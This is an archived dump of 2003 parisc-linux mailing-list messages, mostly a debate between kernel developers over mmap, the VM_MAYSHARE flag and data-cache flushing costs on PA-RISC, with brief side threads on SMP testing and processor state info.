List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19317

On Sat, 2003-08-23 at 17:51, David S. Miller wrote:
> Ok.  Let me think about this a bit more.
> 
> The safest solution for parisc, meanwhile, would be to walk the
> non-shared mmap list checking for any instance of the VM_MAYSHARE bit
> being set.

Right, that's how I plan to fix this problem in parisc.

We also need the VM_MAYSHARE flag to propagate across remappings, which
was the general kernel fix I sent some emails back.

James




From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
	tst-mmap-eofsync in glibc on parisc)
Date: 23 Aug 2003 18:11:16 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <1061680279.1785.534.camel__9778.74232125959$1416622717$gmane$org@mulgrave>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave>
	<20030822154100.06314c8e.davem@redhat.com>
	<1061600974.2090.809.camel@mulgrave>
	<20030823144330.5ddab065.davem@redhat.com>
	<1061677283.1992.471.camel@mulgrave> 
	<20030823155312.63f996f6.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622717 30018 80.91.229.3 (22 Nov 2014 02:18:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:37 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>, drepper@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 17:11:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40BB84937
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 17:11:29 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7NNBHI16053;
	Sat, 23 Aug 2003 19:11:17 -0400
In-Reply-To: <20030823155312.63f996f6.davem@redhat.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19318

On Sat, 2003-08-23 at 17:53, David S. Miller wrote:
> BTW, what gains to you really get from this optimization?
> 
> How often do writes happen to files while private mappings
> to it exist? :-)  This is one of the reasons I think this
> discussion is a bit silly.
> 
> What specific cases does your optimization help, and how common is it?
> Show us some numbers.

Not having to flush the private mappings is a huge optimisation.  Our
current flush_dcache_page implementation allows us only to flush a
single page and get all the aliased caches updated because we carefully
align MAP_SHARED areas (by supplying our own arch_get_unmapped_area()).

However, the alignment constraint is 4MB to get this property of the
virtually aliased caches, so we can't afford to align all mappings like
this (for our 32 bit userspace, anyway).

If we were to have to flush the private i_mmap list, we'd have to do a
page flush for *every* entry in the list (that's 256 instructions per
page at a cache width of 16 bytes).  This would be a horrific overhead.

using the VM_MAYSHARE to carry the read only shared mapping semantics
indication still allows us to align correctly, but the only additional
overhead we incur is to walk the i_mmap list to find VM_MAYSHARE
mappings as well as i_mmap_shared.  Since we can key of VM_MAYSHARE to
do the alignment, we still only need flush the first one we come to.

This all works as long as we can agree there are no pathological mmap
cases that force us to flush *all* the i_mmap mappings...which is what I
think the discussion has come down to.

James




From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Sat, 23 Aug 2003 17:22:51 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20030823172251.4e656f9a.davem__33042.5192056738$1416622717$gmane$org@redhat.com>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave>
	<20030822154100.06314c8e.davem@redhat.com>
	<1061600974.2090.809.camel@mulgrave>
	<20030823144330.5ddab065.davem@redhat.com>
	<1061677283.1992.471.camel@mulgrave>
	<20030823155312.63f996f6.davem@redhat.com>
	<1061680279.1785.534.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622717 30020 80.91.229.3 (22 Nov 2014 02:18:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:37 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org, drepper@redhat.com
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 18:30:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 830A84939
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 18:30:35 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id RAA05601;
	Sat, 23 Aug 2003 17:22:51 -0700
In-Reply-To: <1061680279.1785.534.camel@mulgrave>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19319

On 23 Aug 2003 18:11:16 -0500
James Bottomley <James.Bottomley@SteelEye.com> wrote:

> On Sat, 2003-08-23 at 17:53, David S. Miller wrote:
> > How often do writes happen to files while private mappings
> > to it exist? :-)  This is one of the reasons I think this
> > discussion is a bit silly.
 ...
> Not having to flush the private mappings is a huge optimisation.

You're not answering my question :(

I know that when the case _DOES_ happen, your optimization is
worthwhile, my question is not about this.  My question is about
how often does this case happen.



From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
	tst-mmap-eofsync in glibc on parisc)
Date: 24 Aug 2003 00:17:55 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <1061702282.1992.1153.camel@mulgrave>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave>
	<20030822154100.06314c8e.davem@redhat.com>
	<1061600974.2090.809.camel@mulgrave>
	<20030823144330.5ddab065.davem@redhat.com>
	<1061677283.1992.471.camel@mulgrave>
	<20030823155312.63f996f6.davem@redhat.com>
	<1061680279.1785.534.camel@mulgrave> 
	<20030823172251.4e656f9a.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622717 30022 80.91.229.3 (22 Nov 2014 02:18:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:37 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>, drepper@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 23:18:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D9D84841
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 23:18:12 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7O5HuI30521;
	Sun, 24 Aug 2003 01:17:57 -0400
In-Reply-To: <20030823172251.4e656f9a.davem@redhat.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19320

On Sat, 2003-08-23 at 19:22, David S. Miller wrote:
> You're not answering my question :(
> 
> I know that when the case _DOES_ happen, your optimization is
> worthwhile, my question is not about this.  My question is about
> how often does this case happen.

Well the case we're arguing about depends on whether glibc uses mmaped
file descriptors for libio.  If it doesn't (which is how my machine is
configured) then you're right, we never get to loop the i_mmap list
because it's usually empty when flush_dcache_page is called.

The only things I can really come up with are contrived cases with glibc
mmaped file objects...then it is a big win if we open lots of
mappings---which I guess would mainly happen with multi-threaded
applications.  Do you have any applications you'd like me to run
comparisons on?

James






From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Sat, 23 Aug 2003 22:23:00 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20030823222300.4695a0c4.davem@redhat.com>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave>
	<20030822154100.06314c8e.davem@redhat.com>
	<1061600974.2090.809.camel@mulgrave>
	<20030823144330.5ddab065.davem@redhat.com>
	<1061677283.1992.471.camel@mulgrave>
	<20030823155312.63f996f6.davem@redhat.com>
	<1061680279.1785.534.camel@mulgrave>
	<20030823172251.4e656f9a.davem@redhat.com>
	<1061702282.1992.1153.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622718 30024 80.91.229.3 (22 Nov 2014 02:18:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:38 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org, drepper@redhat.com
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 23:30:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F1E048A0
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 23:30:53 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id WAA06186;
	Sat, 23 Aug 2003 22:23:01 -0700
In-Reply-To: <1061702282.1992.1153.camel@mulgrave>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19321

> The only things I can really come up with are contrived cases with glibc
> mmaped file objects...then it is a big win if we open lots of
> mappings---which I guess would mainly happen with multi-threaded
> applications.  Do you have any applications you'd like me to run
> comparisons on?

This is what I'm asking of you, to find cases in real life,
not some contrived example, where your optimization helps
appreciably.


From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Sun, 24 Aug 2003 12:51:10 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <3F48B4BE.7090803@tiscali.be>
References: <3F2E2C7700004A24@ocpmta2.freegates.net> <20030823192834.GC5072@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622718 30025 80.91.229.3 (22 Nov 2014 02:18:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:38 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 24 06:51:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52445482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Aug 2003 06:51:16 -0600 (MDT)
Original-Received: from [62.235.120.121] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19quKr-000476-00; Sun, 24 Aug 2003 14:51:09 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030714 Debian/1.4-2
X-Accept-Language: en
In-Reply-To: <20030823192834.GC5072@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19322

Grant Grundler wrote:

> [...] at least until the VM

> address aliasing is fixed and you can run 8-way on the N-class.

:)) it was just a machine for testing and so to save money there was 
just purchased 2 cpu (but for my part it would already be nice to make 
it run in SMP mode :) )

btw: I countinue investigations but I still have to learn a lot about 
how [id]tlb's cach are managed during cpu's startup...

Ha yes, question: can I find PSW for each cpu in a piminfo?

Thanks again,
Joel



From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
	tst-mmap-eofsync in glibc on parisc)
Date: 24 Aug 2003 11:54:00 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <1061744042.13315.29.camel__11574.438881553$1416622718$gmane$org@mulgrave>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave>
	<20030822154100.06314c8e.davem@redhat.com>
	<1061600974.2090.809.camel@mulgrave>
	<20030823144330.5ddab065.davem@redhat.com>
	<1061677283.1992.471.camel@mulgrave>
	<20030823155312.63f996f6.davem@redhat.com>
	<1061680279.1785.534.camel@mulgrave>
	<20030823172251.4e656f9a.davem@redhat.com>
	<1061702282.1992.1153.camel@mulgrave> 
	<20030823222300.4695a0c4.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622718 30027 80.91.229.3 (22 Nov 2014 02:18:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:38 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>, drepper@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 24 10:54:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC0F7485E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Aug 2003 10:54:15 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7OGs1I32309;
	Sun, 24 Aug 2003 12:54:01 -0400
In-Reply-To: <20030823222300.4695a0c4.davem@redhat.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19323

On Sun, 2003-08-24 at 00:23, David S. Miller wrote:
> This is what I'm asking of you, to find cases in real life,
> not some contrived example, where your optimization helps
> appreciably.

Oh, OK, that's easy...it's what the glibc test was designed for.

In glibc, for each file you fopen as a mapped file, you seem to get a
separate mmapping of the file (this actually looks wrong to me...it
seems glibc should have only one mapping per file which all the file
objects share, but anyway).  That means we get one entry in one of the
i_mmaps lists for each of the opens.  Since these are files, the chances
are they'll be read and written which will generate lots of dcache
flushes.  This case would kill us if we had to flush every entry in
i_mmap.

Right at the moment, you have to specifically request that the file be
mmapped by specifying the "m" modifier, but glibc seems to be migrating
to this being the default one day...that's what I want to be ready for.

Besides the optimisation adds no overhead and compromises nothing, so
its worth doing regardless.

James




From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Sun, 24 Aug 2003 11:19:08 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20030824171908.GC32533@dsl2.external.hp.com>
References: <3F2E2C7700004A24@ocpmta2.freegates.net> <20030823192834.GC5072@dsl2.external.hp.com> <3F48B4BE.7090803@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622719 30031 80.91.229.3 (22 Nov 2014 02:18:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:39 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Joel Soete <jsoe0708@tiscali.be>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 24 11:19:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 09C5E4868; Sun, 24 Aug 2003 11:19:08 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F48B4BE.7090803@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19324

On Sun, Aug 24, 2003 at 12:51:10PM +0000, Joel Soete wrote:
> btw: I countinue investigations but I still have to learn a lot about 
> how [id]tlb's cach are managed during cpu's startup...

I thought this was a runtime problem (ie userspace <-> kernel
interaction)

> Ha yes, question: can I find PSW for each cpu in a piminfo?

yes


grant


From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Added a new SCSI disk, hda became hdb
Date: Sun, 24 Aug 2003 16:38:57 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20030824203857.GD17595@systemhalted>
References: <20030824191340.GG5304@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622719 30032 80.91.229.3 (22 Nov 2014 02:18:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 24 14:39:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id D485D4873
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Aug 2003 14:39:37 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19r1dZ-0000hW-00; Sun, 24 Aug 2003 16:38:57 -0400
Content-Disposition: inline
In-Reply-To: <20030824191340.GG5304@charite.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (73% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
